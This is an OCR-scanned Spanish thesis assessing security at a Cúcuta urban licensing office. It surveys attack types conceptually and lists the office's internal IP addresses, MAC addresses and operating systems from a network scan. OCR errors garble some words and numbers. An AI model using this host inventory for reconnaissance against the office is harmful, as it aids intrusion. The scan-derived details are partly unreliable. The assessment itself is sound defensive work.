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RESUMEN

TITULO: EVALUACION DE LA SEGL )AD INFORMATICA PARA LA CURADURIA
URBANA #2 DE CUCUTA*

AUTOR: ING. JOSE FERNANDO SANTIAGO R?

PALABRAS CLAVE: Seguridad informética, ataques informaticos, servidores, integridad,
disponibilidad, confidencialidad, Eavesdropping Snooping Jamming
Caballos De Troya Passwords, Cédigos Y Claves.

DESCRIPCION

El siguiente trabajo es un estudio de la seguridad informéatica hecho a la curaduria urbana #2 de
Cucuta, norte de Santander, en la cual se realizaron pruebas al interior como al exterior de la red
de datos de la curaduria probando que su nivel de seguridad podia ser vulnerado por una persona
con capacidades de formacion en hacking.

El estudio se baso en los pilares de la seguridad informatica (confidencialidad, disponibilidad e
integridad), los cuales fueron vulnerados utilizando diferentes métodos como lo son ataques de
fuerza bruta, ingenieria social y otros.

Los ataques se hicieron por categorias y orden de importancia. Las categorias utilizadas en este
proyecto fueron interrupcién de los servicios en los servidores, intercepcién de la informacion en la
red, modificacion y fabricacion de la informacion en los archivos de los usuarios. El orden de
importancia fueron los servidores, seguido por el host de contabilidad y luego por los host de los
usuarios que pertenecen a la curaduria urbana #2.

Con la realizacion de este proyecto se propusieron mejoras desde el punto de vista informético
como lo es el de mejorar la seguridad en el servidor contra ataques de fuerza bruta, la
autenticacion de cada host y usuario al usar los servicios de la red, la filtracion de los puertos mas
vulnerables y atacados, aumentar el grado de seguridad del firewall, implementar copias de
seguridad automaticas tanto a los host como a los servidores entre otras cosas con el fin de evitar
ser victima de un ataque.
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ABSTRACT

TITLE: EVALUATION OF THE SAFETY DATA FOR CURADURIA URBANA# 2 CUCUTA.?
AUTHOR: ING. JOSE FERNANDO SANTIAGO R.*
KEY WORDS: Computer security, computer attacks, servers, integrity, availability,

confidentiality, Eavesdropping Snooping Jamming Trojan horses
Passwords, codes and keys

DESCRIPTION

The next work is a study of computer security made Curaduria Urbana #2 Cucuta, Norte of
Santander, where tests were performed inside and outside the network of data curaduria by proving
that their level of security could be infringed by a person with hacking skills training.

The study was based on the pillars of computer security (confidentiality, integrity and availability),
which were violated by using various methods such as brute force attacks, social engineering and
others.

The attacks were made by categories and order of importance. The categories used in this project
were interruption of services on servers, interception of information on the net, modification and
manufacture of information in the files of users. The order of importance were the servers, followed
by a host of accounting and then by the host of users who belong to the curaduria urbana # 2.

With the completion of this project were proposed improvements from the point of view as it is to
improve security on the server against brute force attacks, authentication of each host and user
when using the services of the network, the filtration ports more vulnerable and attacked, increasing
the degree of security firewall, implement automatic backup to both the host and servers among
other things in order to avoid becoming a victim of an attack.
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INTRODUCCION

El ingeniero CARLOS ALBERTO VALERO MORA como Curador Urbano de San
José de Cdcuta, que cumple funciones publicas mediante la verificacion del
cumplimiento de las Normas de construccion vigentes, ofrece un servicio de
otorgamiento de licencias de construccion dirigidas a todas las personas
interesadas en el crecimiento y desarrollo de la ciudad.

Para ello, la curaduria urbana # 2, desde el afio de su creacién por decreto dictado
por el entonces alcalde de la ciudad doctor MANUEL GUILLERMO MORA en el
afio 2002, ha venido tecnificAndose para prestar un mejor el servicio a la
comunidad cucutefa.

La curaduria no ha hecho una autoevaluacion de sus servicios informaticos que
pueda prever el mejoramiento o adquisicion de los servicios como lo son la red de
datos, el circuito cerrado de television, los sistemas de backup entre otros.

Este proyecto evaluara su seguridad informatica y los riesgos a los que puede
estar expuesto la curaduria urbana #2 en Cucuta.

Dicha evaluacion arrojara resultados que seran propuestos al curador urbano con
el fin de hacer las mejoras necesarias para el buen funcionamiento de la curaduria
y un eficiente servicio a los usuarios.



1. TITULO

EVALUACION DE LA SEGURIDAD INFORMATICA PARA LA CURADURIA
URBANA #2 DE CUCUTA.



2. ANTECEDENTES

El 4 de enero de 2002 el entonces alcalde de San José de Cucuta, Dr. Manuel
Guillermo Mora Jaramillo designo al ingeniero CARLOS ALBERTO VALERO
MORA, como CURADOR URBANO DEL MUNICIPIO DE SAN JOSE DE
CUCUTA, por un periodo de 5 afios, contado a partir del 28 de enero de 2002.Se
registro de igual manera como persona natural, del régimen comun.

CARLOS ALBERTO VALERO MORA, identificado con el NIT: 13'437.077-0.
Entidad privada. Cuya funcién principal es tramitar, estudiar y expedir licencias de
urbanismo, de construccion en cualquiera de sus modalidades a peticion del
interesado, en adelantar proyectos de urbanizacion y edificacion, en las zonas o
areas del municipio de san José de Cucuta. Su actividad econdémica es
relacionada con la ingenieria, arquitectura y acciones conexas.

En el afio 2007, CARLOS ALBERTO VALERO MORA, se sometio a concurso para
renovar su titulo de curador urbano de la ciudad por un periodo de cinco afos
mas.

Para ello la Curaduria Urbana ha venido desde el afio 2002 implementando
sistemas de informacidon necesarios para el mejoramiento de la misma. Estos
sistemas son: una red de datos que comunica a 8 puestos de trabajo, un circuito
cerrado de television, un sistema de telefonia interna para 8 puestos de trabajo, un
circuito cerrado de television, un software aplicativo que permite tramitar las
licencias de construccion y que trabaja en red para que cada funcionario trabaje
en él. Un servidor que permite de manera periddica hacer un backup a los
archivos de los funcionarios, hacer un backup asi mismo y proporcionar internet
con restricciones para algunos funcionarios y un portal web que permite ver a los
usuarios el estado del tramite entre otras funciones.

Estos tipos de infraestructura tecnologia también lo han venido implementado en
todo el pais las curadurias urbanas empezando por el colegio nacional de
curadores en el cual esta registradas todas las curadurias del pais.

> http://curadoresurbanos.com/



La curaduria urbana de Cuacuta #2, no ha contado nunca con un estudio de
seguridad informatica que le permita saber que tan segura es su informacion ante
hechos como fallas por hardware o ante ataques informaticos.



3. PLANTEAMIENTO DEL PROBLEMA

El Curador Urbano de San José de Cudcuta, como persona natural, particular y
privado, que cumple funciones publicas mediante la verificacion del cumplimiento
de las Normas Urbanisticas y de Edificacion vigentes en el municipio, tiene como
mision ofrecer un servicio de calidad a través del otorgamiento de licencias de
construccion orientadas a todas las personas interesadas en el crecimiento y
desarrollo de la ciudad de Cudcuta demarcado en su politica de mejoramiento
continuo en su gestion empresarial, con base en principios de calidad humana y
espiritu de servicio en cada uno de sus funcionarios.

Ademas piensa seguir liderando con el ejercicio de la Curaduria Urbana en la
ciudad de Cucuta a través de la otorgacion de licencias, mediante una
retroalimentacion de cooperacion mutua con los solicitantes y planeacion
municipal, lo cual conlleva a incrementar la disciplina de cultura, crecimiento y
desarrollo para la ciudad de Cucuta, logrando con ellos mantenerse en el contexto
como una curaduria progresista y productiva para la ciudad.

Para ello la Curaduria Urbana #2, ha necesitado contar con una infraestructura
como lo es cableado estructurado, sistemas de telefonia publica conmutada,
Internet, sitio Web, sistemas de bases de datos de licencias expedidas y en
tramite, servidor de backup, circuito cerrado de television, central de alarmas y
conectividad de informacion con planeacion municipal.

Todo esto deja ver la gran cantidad de informacion digital que la curaduria genera
dia a dia y lo importante que se vuelve en el buen desempefio de la misma.

Para todo estos servicios, ¢Sera que los servicios informaticos implementados en
la Curaduria Urbana #2 de Cucuta cuentan con una seguridad que garantice el
buen funcionamiento de expedicion de licencias para la ciudad de Cucuta?



4. JUSTIFICACION

El Curador Urbano de San José de Cudcuta, como persona natural, particular y
privado, que cumple funciones publicas mediante la verificacion del cumplimiento
de las Normas Urbanisticas y de Edificacion vigentes en el municipio, tiene como
mision ofrecer un servicio de calidad a través del otorgamiento de licencias de
construccion orientadas a todas las personas interesadas en el crecimiento y
desarrollo de la ciudad de Cuacuta demarcado en su politica de mejoramiento
continuo en su gestion empresarial, con base en principios de calidad humana y
espiritu de servicio en cada uno de sus funcionarios.

Para ello la Curaduria Urbana necesita contar con una infraestructura informatica
como lo es cableado estructurado, que permita conectar fisicamente los equipos
de comunicaciones como lo son la planta telefénica, la red de datos, el sistema de
alarma, el circuito cerrado de television, el sistema de interconexidbn con
planeacién municipal, entre otros.

También necesita equipos como la planta telefénica la cual permite tener una
administracion optima de llamadas internas y externas, dandole agilidad a
procesos como llamadas en espera, desviacion de llamadas, comunicacion
interna, registro y control de llamadas.

Una conexion con Internet, que permita el envio y recibo de correo, actualizacion
del portal web de la curaduria, actualizacion del sistema de virus y el antispam.
Ademas el portal Web, permite a los usuarios consultar el estado de trdmite de su
licencia, dar a conocer a la comunidad los mega proyectos de la ciudad, la vision y
mision de la curaduria y los decretos y leyes vigentes.

El sistemas de bases de datos de licencias expedidas y en tramite, permite al
personal llevar de una manera sistematizada registro de las licencias de
construccion. Ademas minimizé (segun los mismos funcionarios y el curador) el
tiempo de expedicidon que tardaba unos dos meses promedio a solo un mes.



El servidor de contenidos, que permite navegar a los trabajadores en sitios web
seguros, libres de contenidos que lleven publicidad y otro tipo de contenidos que
pongan en riesgo el sistema de informacion y la productividad de la curaduria.

El servidor de backup, que permite hacer una copia de seguridad a cada usuario
de la curaduria, permitiendo asi resguardar la informacién en caso de fallo de
alguno de los terminales de trabajo. Ademas, también permite hacer una copia
espejo del mismo servidor protegiendo no solo a los usuarios sino también al
mismo servidor de fallos de hardware.

Es asi que estos servicios presentan la necesitad de evaluar la seguridad
informatica para determinar que deficiencias posee el sistema de informacion y
gue recomendaciones se pueden tomar para mejorar estos servicios tecnolégicos
en al curaduria urbana #2.



5. OBJETIVOS

5.1. OBJETIVO GENERAL

Proponer el mejoramiento de la seguridad informéatica en la Curaduria Urbana #2
de Cucuta, mediante un analisis de los procesos sistematicos actuales.

5.2. OBJETIVOS ESPECIFICOS

+ Evaluar los sistemas de informacion de la curaduria urbana #2 de Cucuta.

» Hacer un analisis de seguridad informatica a los procesos sistematicos.

* Proponer mejoras de seguridad informatica.



6. ESTADO DEL ARTE

Actualmente, el sector publico y privado ha venido implementando sistemas de
informacion en sus empresas para agilizar y dar transparencia a los procesos
llevados alli. Un claro ejemplo es el gobierno colombiano, quien ha implementado
portales como gobierno en linea, portal Unico de contratacion, consiguiendo con
esto un mayor grado de transparencia y agilidad en sus procesos.

Estos tipos de sistemas de informaciéon son acompafiados de una gran gama de
tecnologias como lo son servidores de contenidos, bases de datos, bases de
almacenamiento de informacién, computadores, ruteadores de redes wan,
switches, Access Point y otros equipos que permiten agilizar procesos en los
diferentes servicios que prestan los sectores publicos y privados.

Paralelamente a esto se han venido creando nuevas ramas de la delincuencia
comun y especializada en violar estos tipos de tecnologias de informacién
haciendo ataques de red, robo de informacion, virus, spam, entre otros, haciendo
que las empresas tomen en serio su seguridad informatica para preservar su
informacion y evitar posteriormente pérdidas econdémicas.

Uno de los motivos que generan los ataques son los propios protocolos de
comunicaciones en que se basa el funcionamiento de estos sistemas de
informacion que son inseguros, para estos tipos de atagues ya no basta con ser
un experto en informética pues el acceso a la informacion por medio de internet
facilita los ataques a estos sistemas. Un ejemplo claro de este tipo de informacion
gue se encuentra en la web es “Mecanica del hacker: entendiendo sus
movimientos para prevenir accesos de intrusos™ y “50 herramientas
indispensables de seguridad”’, en donde se puede encontrar informacién sobre

ataques y defensas informaticas.

A todo esto vemos que el estado del arte actual de los sistemas de seguridad
informatica se basa en el gran crecimiento de tipos de ataques informaticos y el

® http://www.seguridad-informatica.cl/home/mecanica-del%20-hacker-entendiendo-sus-movimientos-para-prevenir-accesos-
de-intrusos

" http://www.seguridad-informatica.cl/home/50-herramientas-indispensables-de-seguridad



poco interés y/o recursos que las empresas prestan a estos tipos de delitos segun
la Cdmara Colombiana de Informética y Telecomunicaciones® tanto en el mundo
como en Colombia.

8 http://www.ccit.org.co/www/htm/articulos/artic_seguridad_informatica.asp
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7. ALCANCES Y LIMITACIONES

7.1. ALCANCES

El proyecto es la evaluacion de la seguridad informatica sobre los servicios
tecnologicos implementados en la curaduria urbana #2 de Cucuta desde su
creacion en el afio de 2002.

El proyecto quiere resaltar el impacto de los servicios informaticos en la prestacion
del servicio de expedicion de licencias de construccion en Cucuta, Norte de
Santander, Colombia.

La evaluacion permitira tomar decisiones desde el punto de vista tecnoldgico en
pro del mejoramiento hacia los usuarios y los trabajadores de la curaduria urbana.

7.2. LIMITACIONES

La evaluacion de la seguridad informatica para la curaduria urbana #2, se hara en
las instalaciones de la misma en Cucuta, Colombia.

La evaluacion se enfocara desde un punto de vista tecnologico.

Las conclusiones y recomendaciones se le haran al curador urbano quien tomara
la decision de implementar o no dichas recomendaciones.

11



8. MARCO TEORICO

8.1 SEGURIDAD INFORMATICA

La seguridad informatica es asegurar los recursos del sistema de informacién
(bases de datos, material informatico o programas) de una organizacion para que
no sean adulterados y se puedan usar de la manera que se decidid en pro de
dicha organizacion por las personas que se encuentren acreditadas y dentro de
los limites de su autorizacion.

8.2. PROPIEDADES DE LA SEGURIDAD DE INFORMATICA °

8.2.1. Confidencialidad. Evitar la divulgacion accidental o intencional de la
informacion.

8.2.2. Integridad. Garantizar que la informacion es exacta y completa. Identificar
los datos que han sido alterados.

8.2.3. Disponibilidad. Garantizar que los usuarios siempre puedan hacer uso de
los recursos de una manera confiable.

8.3 CONCEPTOS DE SEGURIDAD INFORMATICA

A continuacién se destacan conceptos de seguridad informatica que nos permiten
dar confidencialidad, integridad y disponibilidad a un sistema de informacién que
queremos proteger.

° Seguridad en Redes. Esp. En Telecomunicaciones UIS. Ing. Jorge Alberto Medina Villalobos

12



8.3.1. Identificacion (Identification).  Medio por el cual el usuario proclama su
identidad ante el sistema.

8.3.2. Autenticacion (Authentication). Es el proceso mediante el cual se
comprueba que la identificacién del usuario es valida.

8.3.3. Autorizacion (Authorization).  Se relaciona con los permisos y recursos
gue se conceden a un usuario previamente autenticado.

8.3.4. Auditabilidad. Procesos utilizados frecuentemente para hacer examenes,
demostraciones, verificaciones o comprobaciones de un sistema informatico.
Estas comprobaciones deben ser frecuentes para obtener un alto grado de
confiabilidad.

8.3.5. Administracion y Custodia.  Vigilancia frecuente de los sistemas de
informacion para minimizar riesgos de pérdida o dafios de la informacion.

8.3.6. Amenaza. Evento que puede arriesgar nuestro sistema de informacion si se
estd expuesto a no cumplir con una o varias de las propiedades de la seguridad
informatica.

8.3.7. Vulnerabilidad. Falla o debilidad de un sistema informético que pone en
riesgo las propiedades de la seguridad informatica. Pueden ser de tipo légico
(ataques a redes, virus, etc.) o fisicos (fallos de energia, robo, desastre natural,
etc.).

8.4. DE QUIEN DEBEMOS PROTEGERNOS

A menudo nos preguntamos de quien debemos protegernos dandonos como
respuesta a esas personas no autorizadas que quieren penetrar nuestros sistemas
de informacion y obtener datos importantes con el fin de darles una utilidad no
autorizada y de dudosa ética a estos.

13



8.4.1. Intruso. Persona o sistema que trata o accede sin autorizacion a un sistema
de informacion ajeno.

8.4.2. Clasificacion de los Intrusos  *°. Los intrusos se pueden clasificar en cuatro
categorias de la siguiente manera.

e Clase A: El 80% son los nuevos intrusos que bajan programas y los
prueban en diferentes sistemas de informacion.

* Clase B: es el 12% son mas peligroso, saben compilar programas aunque
no saben programar. Prueban programas, conocen como detectar que
sistema operativo que estd usando la victima, testean las vulnerabilidades
del mismo e ingresan por ellas.

* Clase C: es el 5%. Es gente que sabe, que conoce y define sus objetivos. A
partir de aqui buscan todos los accesos remotos e intentan ingresar.

+ Clase D: el 3% restante. Cuando entran a determinados sistemas buscan la
informacion que necesitan.

8.5. CATEGORIAS DE ATAQUES

Existen cuatro categorias generales o amenazas que son:

8.5.1. Interrupcion. Un recurso del sistema es destruido o se vuelve no
disponible. Este tipo de ataque debilita la disponibilidad de uno o varios servicios.

8.5.2. Intercepcion. Un intruso consigue acceso a un recurso. Este tipo de ataque
debilita la confidencialidad de los sistemas de informacion.

% Ardita, julio cesar. Director Cybsec S.A. Security System y Exhacker. http://www.cybsec.com
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8.5.3. Madificacion. Un intruso que accede a un recurso modifica la informacion.
Este tipo de ataque debilita la integridad de la informacion de un sistema.

8.5.4. Fabricacion. Un intruso inserta objetos falsificados dentro del sistema de
informacion. Este tipo de ataque debilita la autenticidad de la informacion.

8.6. TIPOS DE ATAQUES A LOS SISTEMAS DE INFORMACION

Los ataques pueden provenir dentro o fuera de la organizacion a la que pertenece
los sistemas de informacion. Dentro de los ataques al interior del sistema de
informacion suele suceder que son empleados descontentos por problemas o
desmotivaciones, o0 personas externas de algun grado de confianza que tienen
permisos al sistema de informacion de la entidad.

Los ataques también pueden provenir fuera de la organizacion. Estos atacantes
hacen ingenieria social para obtener los login y password de las personas que
trabajan al interior de la entidad.

Los nuevos métodos de ataque han sido desarrollados para el servicio de
incluso personas con conocimientos basicos en programacién
difundiendo nuevas técnicas para violar los sistemas de informacidn
existentes.

Por el alto grado de definicion, a continuacion se enunciaran varios tipos de
ataques basados en la tesis “Analisis De Desempefio De Software De Deteccidn
De Vulnerabilidades Como Herramienta Para Implementar Estudio De Seguridad
Compﬂtacional En Redes Locales”, de la universidad industrial de Santander
(UIS).

8.6.1. Eavesdropping Y Packet Sniffing . Muchas redes son vulnerables al
eavesdropping, o la pasiva intercepcion (sin modificacion) del trafico de red. En
Internet esto es realizado por packet sniffers, que son programas que monitorean

! Analisis De Desempefio De Software De Deteccion De Vulnerabilidades Como Herramienta Para Implementar Estudio De
Seguridad Computacional En Redes Locales. Msc LUZ ANGELA BARRAGAN ORTIZ. Universidad Industrial
de Santander 2004.
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los paquetes de red que estan direccionados a la computadora donde estan
instalados. El sniffer puede ser colocado tanto en una estacion de trabajo
conectada a red, como a un equipo router o a un gateway de Internet, y esto
puede ser realizado por un usuario con legitimo acceso, o0 por un intruso que ha
ingresado por otras vias. Existen kits disponibles para facilitar su instalacion.

Este método es muy utilizado para capturar login IDs y passwords de
usuarios, que generalmente viajan claros (sin encriptar) al ingresar a sistemas de
acceso remoto (RAS). También son utilizados para capturar numeros de tarjetas
de crédito y direcciones de e- mail entrante y saliente. El analisis de trafico puede
ser utilizado también para determinar relaciones entre organizaciones e individuos.

8.6.2. Snooping Y Downloading. Los ataques de esta categoria tienen el
mismo objetivo que el sniffing, obtener la informacién sin modificarla. Sin
embargo los métodos son diferentes. Ademas de interceptar el trafico de red,
el atacante ingresa a los documentos, mensajes de e-mail y otra informacion
guardada, realizando en la mayoria de los casos un downloading de esa
informacion a su propia computadora.

8.6.3. Tampering O Data Diddling. Esta categoria se refiere a la modificacion
desautorizada de los datos, o al software instalado en un sistema, incluyendo
borrado de archivos. Este tipo de ataques son particularmente serios cuando el
que lo realiza ha obtenido derechos de administrador o supervisor, con la
capacidad de disparar cualquier comando y por ende alterar o borrar cualquier
informacion que puede incluso terminar en la baja total del sistema en forma
deliberada. O aun si no hubo intenciones de ello, el administrador posiblemente
necesite dar de baja por horas o dias hasta chequear y tratar de recuperar aquella
informacion que ha sido alterada o borrada.

Como siempre, esto puede ser realizado por intrusos al interior o
exterior del sistema de informacidn, generalmente con el propésito de
fraude o dejar fuera de servicio un competidor.

Son innumerables los casos de este tipo como empleados (0 externos)
bancarios que crean falsas cuentas para derivar fondos de otras cuentas,
estudiantes que modifican calificaciones de exadmenes, o contribuyentes que
pagan para que se les anule la deuda por impuestos en el sistema municipal.

Multiples web sites han sido victimas del cambio de sus home page por
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imagenes terroristas 0o humoristicas, o el reemplazo de versiones de software
para download por otros con el mismo nombre pero que incorporan codigo
malicioso (virus, troyanos).

La utilizaciébn de programas troyanos esta dentro de esta categoria, y refiere a
falsas versiones de un software con el objetivo de averiguar informacion, borrar
archivos y hasta tomar control remoto de una computadora a través de Internet
como el caso de Back Orifice y NetBus, de reciente aparicion.

8.6.4. Spoofing . Esta técnica es utilizada para actuar en nombre de otros
usuarios, usualmente para realizar tareas de snoofing o tampering. Una forma
comun de spoofing, es conseguir el nombre y password de un usuario legitimo
para, una vez ingresado al sistema, tomar acciones en nombre de él, como puede
ser el envio de falsos e-mail.

El intruso usualmente utiliza un sistema para obtener informacién e ingresar en
otro, y luego utiliza este para entrar en otro, y en otro. Este proceso, llamado
Looping, tiene la finalidad de evaporar la identificacion y la ubicacion del
atacante. EI camino tomado desde el origen hasta el destino puede tener
muchas estaciones, que exceden obviamente los limites de un pais. Otra
consecuencia del looping es que una compafiia o gobierno pueden suponer que
estan siendo atacados por un competidor 0 una agencia de gobierno extranjera,
cuando en realidad estan seguramente siendo atacado por un insider, o por
un estudiante a miles de Km. de distancia, pero que ha tomado la identidad de
otros.

El looping hace su investigacion casi imposible, ya que el investigador debe contar
con la colaboracion de cada administrador de cada red utilizada en la ruta, que
pueden ser de distintas jurisdicciones.

Los protocolos de red también son vulnerables al spoofing. Con el IP spoofing, el
atacante genera paquetes de Internet con una direccion de red falsa en el campo
From, pero que es aceptada por el destinatario del paquete.

El envio de falsos e-mail es otra forma de spoofing permitida por las redes.
Aqui el atacante envia a nombre de otra persona e-mail con otros objetivos.
Muchos ataques de este tipo comienzan con ingenieria social, y la falta de
cultura por parte de los usuarios para facilitar a extrafios sus identificaciones
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dentro del sistema. Esta primera informacion es usualmente conseguida a traves
de una simple llamada telefénica.

8.6.5. Jamming O Flooding. Este tipo de ataques desactivan o saturan los
recursos del sistema. Por ejemplo, un atacante puede consumir toda la memoria o
espacio en disco disponible, asi como enviar tanto trafico a la red que nadie mas
puede utilizarla.

Muchos ISPs (proveedores de Internet) han sufrido bajas temporales del
servicio por ataques que explotan el protocolo TCP. Aqui el atacante satura el
sistema con mensajes que requieren establecer conexién. Sin embargo, en vez
de proveer la direccion IP del emisor, el mensaje contiene falsas direcciones
IP (0 sea que este ataque involucra también spoofing). El sistema responde
al mensaje, pero como no recibe respuesta, acumula buffers con informacién
de las conexiones abiertas, no dejando lugar a las conexiones legitimas.

Muchos host de Internet han sido dados de baja por el "ping de la muerte”, una
version-trampa del comando ping. Mientras que el ping normal simplemente
verifica si un sistema esta enlazado a la red, el ping de la muerte causa el reboot
o el apagado instantaneo del equipo.

Otra accién comun es la de enviar millares de e-mail sin sentido a todos los
usuarios posibles en forma continua, saturando los distintos servers destino.

8.6.6. Caballos De Troya. Consiste en introducir dentro de un programa una
rutina o conjunto de instrucciones, por supuesto no autorizadas y que la persona
que lo ejecuta no conoce, para que dicho programa actie de una forma diferente
a como estaba previsto (Por ejemplo: Formatear el disco duro, modificar un
fichero, sacar un mensaje, etc.).

8.6.7. Bombas Logicas. Este suele ser el procedimiento de sabotaje mas
comunmente utilizado por empleados descontentos. Consiste en introducir un
programa o rutina que en una fecha determinada destruira, modificara la
informacion o provocara el cuelgue del sistema.
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8.6.8. Ingeniera Social. Basicamente convencer a la gente de que haga lo que
en realidad no deberia. Por ejemplo llamar a un usuario haciéndose pasar por
administrador del sistema y requerirle la password con alguna excusa
convincente. Esto es comun cuando en el Centro de Coémputo los
administradores son amigos o conocidos.

8.6.9. Difusion De Virus. Si bien es un ataque de tipo tampering, difiere de
este porque puede ser ingresado al sistema por un dispositivo externo (diskettes) o
través de la red (e-mail u otros protocolos) sin intervencion directa del atacante.
Dado que el virus tiene como caracteristica propia su auto reproduccion, no
necesita de mucha ayuda para propagarse a través de una LAN o WAN
rapidamente, si es que no esta instalada una proteccién antivirus en los
servidores y estaciones de trabajo.

Existen distintos tipos de virus, como aquellos que infectan archivos ejecutables
(.exe, .com, .bat, etc.) y los sectores de boot-particion de discos y diskettes, pero
aguellos que causan en estos tiempos mas problemas son los macro-virus,
que estan ocultos en simples documentos o planilla de calculo, aplicaciones
que utiliza cualquier usuario de PC, y cuya difusion se potencia con la
posibilidad de su transmisién de un continente a otro a través de cualquier red o
Internet. Y ademéas son multiplataforma, es decir, no estdn atados a un sistema
operativo en particular, ya que un documento de MS-Word puede ser procesado
tanto en un equipo Windows 3.x/95/98, como en una Macintosh u otras.

Cientos de virus son descubiertos mes a mes, y técnicas mas complejas se
desarrollan a una velocidad muy importante a medida que el avance tecnoldgico
permite la creacién de nuevas puertas de entrada. Por eso es indispensable contar
con una herramienta antivirus actualizada y que pueda responder rapidamente
ante cada nueva amenaza.

El ataque de virus es el mas comun para la mayoria de las empresas, que en
un gran porcentaje responden afirmativamente cuando se les pregunta si han
sido victimas de algun virus en los ultimos 5 afos.

8.6.10. Explotacion De Errores De Disefio, Implement acion U Operacion.
Muchos sistemas estan expuestos a "agujeros" de seguridad que son explotados
para acceder a archivos, obtener privilegios o realizar sabotaje. Estas
vulnerabilidades ocurren por variadas razones, y miles de "puertas invisibles" han
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sido descubiertas en aplicaciones de software, sistemas operativos, protocolos de
red, browsers de Internet, correo electronico y toda clase de servicios en LAN o
Wan.

Sistemas operativos abiertos como Unix tienen agujeros mas conocidos y
controlados que aquellos que existen en sistemas operativos cerrados, como
Windows NT. Constantemente encontramos en Internet avisos de nuevos
descubrimientos de problemas de seguridad (y herramientas de hacking que los
explotan), por lo que hoy también se hace indispensable contar con productos
que conocen esas debilidades y pueden diagnosticar un servidor, actualizando su
base de datos de tests periédicamente. Ademas de normas y procedimientos de
seguridad en los procesos de disefio e implementacibn de proyectos de
informética.

8.6.11. Obtencibn De Passwords, Cdbdigos Y Claves . Este método
(usualmente denominado cracking), comprende la obtencién "por fuerza bruta" de
aquellas claves que permiten ingresar a servidores, aplicaciones, cuentas, etc.
Muchos passwords de acceso son obtenidos facilmente porque involucran el
nombre u otro dato familiar del usuario, que ademas nunca la cambia. En este
caso el ataque se simplifica e involucra algun tiempo de prueba y error. Otras
veces se realizan atagues sistematicos (incluso con varias computadoras a
la vez) con la ayuda de programas especiales y "diccionarios" que prueban
millones de posibles claves hasta encontrar el password correcto.

Es muy frecuente crackear un password explotando agujeros en los algoritmos
de encriptacion utilizados, o en la administracion de las claves por parte la
empresa.

Por ser el uso de passwords la herramienta de seguridad mas cercana a los
usuarios, es aqui donde hay que poner énfasis en la parte "humana" con
politicas claras (como se define una password?, a quien se estad autorizado a
revelarla?) y una administracion eficiente (cada cuanto se estdn cambiando?).

No muchas organizaciones estan exentas de mostrar passwords escritas y
pegadas en la base del monitor de sus usuarios, u obtenerlas simplemente
preguntando al responsable de cualquier PC, cual es su password?.
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8.9.12. Eliminar El Blanco. Ping Mortal . Algunos ataques eliminan el blanco en
lugar de inundarlo con trabajo. Un ejemplo de este tipo es el ping mortal, un
paquete ping ilicitamente enorme, que hace que el equipo de destino se cuelgue.
Muchas implementaciones de routers, la mayoria de los Unix y todas las versiones
de Windows se de afios. A pesar de que los vendedores lanzaron parches de
inmediato, hay todavia cantidades significativas de hosts "no corregidos" en las
redes de produccion (en especial, las que corren bajo el Windows 95).

TCP/IP permite un tamafio maximo de paquete de 64 Kkilobytes (KB, este
maximo esta dividido en piezas mucho mas pequefias a través de protocolos
de capas mas bajas, como Ethernet o token ring, pero dentro de una
computadora, paquetes mucho mas grandes son posibles). Para lidiar con un
paquete de 64 KB, la cola TCP/IP asigna un buffer en memoria de 64 KB. Al
recibir una cantidad ilicitamente grande de informacién, como un ping mortal, el
buffer del equipo de destino se desborda y el sistema se puede colgar.

21



9. DESARROLLO METODOLOGICO

Para esta evaluacion de los sistemas de informacion para la Curaduria Urbana #2
de Cucuta se realizo el escaneo de puertos, topologias de red y otros con software
GNU y demos descargados de la red para la realizacion de las pruebas.

9.1. EVALUACION DE LOS SISTEMAS DE INFORMACION DE L A CURADURIA
URBANA #2 DE CUCUTA.

9.1.1. Evaluacién de Hardware

La Curaduria Urbana #2 de Cucuta, cuenta con 7 equipos de computo y 3
servidores, 2 servidores HTTP y uno servidor proxy, que a su vez trabaja como
Firewall y Servidor de Backup para los datos de la Curaduria Urbana #2 y un
Modem/Router para darle salida a internet.

Figura 1.Diagrama Ldgico de la Red CU2.

N
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192.168.0.5 192.168.0.8

192.168.0.18

192.168.0.52 192.168.0.100 192.168.0.41
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El tipo de red que manejan es Ethernet 802.3u Fast Ethernet con cableado

estructurado Categoria 5e a una velocidad de 100Mbps.

La direccion de la red LAN (Local Area Network) es la 192.168.0.0/24. El escaneo
de la direccion de red se hizo con el software SolarWinds en version de evaluacion
y se describe en la tabla adjunta.

Tabla 1.Direcciones de Red LAN

# Direccion IP Direccion MAC Sistema Operativo
1 192.168.0.3 0014:2A70:CO6A Windows XP SP2
2 192.168.0.5 0019:DIFA:431F Windows XP SP2
3 192.168.0.8 0004:ACCB:89C5 Windows XP SP2
4 192.168.0.12 0014:2A79:1B74 Windows XP SP2
5 192.168.0.18 0013:8FE8:2E6A Windows XP SP2
6 192.168.0.19 0008:02FB:FEDC Windows XP SP2
I 192.168.0.50 00E0:4D38:8881 Linux Fedora Core 9
8 192.168.0.52 0014:2AFE:A7TAD Windows XP SP2
9 192.168.0.100 0014:2AF1:BDAC Windows XP SP2
10 |192.168.0.41 0016:ECQ07:DA65 Windows XP SP2

Figura 2. Escaneo con Solarwidns.
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El Modem DSL-500B es un equipo ADSL entregado por el ISP que presta el
servicio de internet a la Curaduria Urbana #2 y que carece de poca seguridad por
ser poco administrable y tener sus configuraciones por defecto.

Figura 3. Modem DSL-500B

9.1.2. Caracteristicas Técnicas

A continuacién se describen las caracteristicas técnicas del Modem ADSL en la
siguiente Tabla.

Tabla 2. Caracteristicas Técnicas del Modem DSL-500 B

NOMBRE DETALLE
PATRONES -1TU G992.1 (G.dmt), ITU G.992.2 (G.lite), ITU G.994.1 (G.Hs), ANSI
SOPORTADOS T1.413 anexo 2
- ITU-T Rec. 1.361, ITU-T Rec. 1.610
- IEEE 802.3, IEEE 802.3u, IEEE 802.1d
- RFC 791 (Roteamento IP)
- RFC 792 (UDP)
- RFC 826 (ARP)
- RFC 1058 (RIP 1), RFC 1389 (RIP 2)
- Compativel com RFC 1213
- RFC 1483 (Ethernet Bridge), RFC 1577 (IP sobre ATM), RFC 1661
(PPP), RFC 2516 (PPP sobre Ethernet), RFC 2364 (PPP sobre ATM)
- RFC 1994 (CHAP), RFC 1334 (PAP)
- RFC 1631 (NAT)
- RFC 1877 (Atribucion Automatica de IP)
- Soporta RFC 2131 e RFC 2132 (DHCP)
- Soporta ATM FORUM UNI V3.1 PVC
2 INTERFACE ADSL - Soporte a G.dmt full rate: velocidad de hasta 8Mbps/640Kbps para
Downstream/Upstream
- Soporte a G.lite: velociadad de hasta 1.5Mbps/512Kbps para
Downstream/Upstream
3 PUERTAS - 1xRJ-11 para conexion telefénica
